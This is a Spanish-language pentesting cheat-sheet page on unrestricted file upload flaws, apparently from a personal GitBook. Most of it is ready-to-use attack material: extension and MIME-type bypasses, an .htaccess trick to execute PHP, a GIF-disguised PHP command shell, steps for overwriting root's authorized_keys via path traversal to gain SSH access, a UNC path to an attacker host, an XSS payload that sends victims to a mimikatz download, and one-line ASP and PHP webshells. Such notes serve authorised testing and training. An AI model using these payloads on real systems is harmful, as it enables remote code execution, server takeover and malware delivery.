Las notas de R4z0r
YoutubeLinkedInConóceme
  • Bienvenido a las notas de R4z0r
  • Web App Pentest
    • Directory traversal / Path Traversal
    • Local File Inclusion (LFI)
    • Remote File Inclusion (RFI)
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Server-Side Request Forgery (SSRF)
    • Unrestricted File Upload
    • SQL/NoSQL Injection
      • SQL Injection
      • NoSQL Injection
    • Broken Access Control (BAC)
    • Insecure Direct Object Reference (IDOR)
    • User Enumeration
    • Sensitive Cookies Missing security attributes
    • Weak Password Policy
    • Use of GET Request Method With sensitive Query Strings
    • Insufficient Protection Against Brute Forcing
    • Unverified Password Change
  • LLM Hacking
    • Prompt Injection
    • Sensitive Information Disclosure
    • Supply Chain Vulnerabilities
    • Training Data Poisoning
    • Insecure Output Handling
    • Excessive Agency
    • Model Denial of Service (DoS)
    • Insecure Plugin Design
    • Overreliance
    • Misinformation
    • System Prompt Leakage
  • External Pentest
  • Internal Pentest
  • Mobile Pentest
  • Cloud Pentest
  • API Pentest
  • PortSwigger Labs
    • LLM Attacks
Con tecnología de GitBook
En esta página
  • Definición
  • Técnicas
  • Intentar cambiar extensiones
  • Cambiar MIME-type
  • Bypass apache
  • Magic numbers
  • Reemplazo de archivos
  • Ruta como nombre de archivo
  • Unrestricted File Upload + XSS para descargar malware
  • WebShells
  • Recursos
  1. Web App Pentest

Unrestricted File Upload

Definición

Unrestricted File Upload es una vulnerabilidad de seguridad que ocurre cuando una aplicación web permite a los usuarios cargar archivos sin restricciones adecuadas sobre el tipo de archivo, el tamaño o el contenido. Esto puede permitir a un atacante cargar archivos maliciosos, por ejemplo, archivos PHP, JavaScript, o ejecutables, que luego pueden ser ejecutados en el servidor, comprometiendo la seguridad del sistema.

Técnicas

Intentar cambiar extensiones

  • Doble extensión, como

.jpg.svg
.php.jpg
.exe.png
  • Extensión con un delimitador, como

%0a
%09
%0d 
%00 
#

file.png%00.svg
file.png\x0d\x0a.svg
  • Extensión vacía:

filename.
  • Extensión con capitalización variada:

.sVG
.PhP
.Exe
.msI

Cambiar MIME-type

  • Mime-Type permitido + extensión no permitida

  • Mime-Type no permitido + extensión permitida

  • Eliminar tipo de contenido

  • Enviar Content-Type dos veces dentro de la solicitud con tipos MIME permitidos y no permitidos

Bypass apache

Nos creamos un archivo .htaccess, donde le decimos que cualquier extensión .xxx me la interprete como php.

echo "AddType application/x-httpd-php .xxx" > .htaccess 

Magic numbers

Si una aplicación utiliza los bytes mágicos de un archivo para deducir el tipo de contenido, podemos intentar eludir las medidas de seguridad falsificando los bytes mágicos de un archivo permitido. Por ejemplo, si se permiten imágenes GIF, puede falsificar los bytes mágicos de una imagen GIF GIF89apara que el servidor piense que le estamos enviando un GIF válido.

GIF8;
<?php
	system($_GET['cmd']);
?>

Reemplazo de archivos

// hay que buscar reemplazar un authorized_keys en la máquina víctima

1. ssh-keygen
2. cat /root/.ssh/id_rsa.pub > fileup
3. fileup > authorized_keys
4. rm ~/.ssh/authorized_keys # para no generar conficto con la nueva clave ya que se va a subir a otra maquina
5. subimos el authorized keys abusando la ruta ../../../../../root/.ssh/authorized_keys
6. ssh -i fileup root@victima.com

// esta es más directa

ssh-keygen
cat /root/.ssh/id_rsa.pub > authorized_keys // luego subimos el authorized_keys
ssh root@ip

Ruta como nombre de archivo

Intente utilizar diferentes tipos de ruta como nombre de archivo [CUIDADO CON ESTO, PORQUE PUEDES REEMPLAZAR ARCHIVOS]

Ruta absoluta, por ejemplo:

filename=/etc/passwd

Ruta relativa, por ejemplo:

filename=../../../../../../etc/passwd

Ruta UNC:

filename=\\attacker-website.com\file.png

Unrestricted File Upload + XSS para descargar malware

En este ejemplo vemos un XSS donde previamente se podía subir malware a un Bucket S3 por lo que se concate el XSS con el Unrestricted File Upload:

<img src="x" onerror="window.location='https://s3-us-west-2.amazonaws.com/s3delcliente/mimikatz.exe'"> 

Para ver más técnicas concatenadas con XSS recomiendo visitar la sección de Cross-Site Scripting

WebShells

ASP:

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

PHP:

<?php system($_GET["cmd"]);?>

Recursos

AnteriorServer-Side Request Forgery (SSRF)SiguienteSQL/NoSQL Injection

Última actualización hace 3 meses

Esto lo podemos ver en la máquina Access de

Esto lo podemos ver en la máquina Boolean de .

Proving Grounds
Proving Grounds
Cross-Site Scripting (XSS)
https://developer.mozilla.org/en-US/docs/Web/HTTP/MIME_types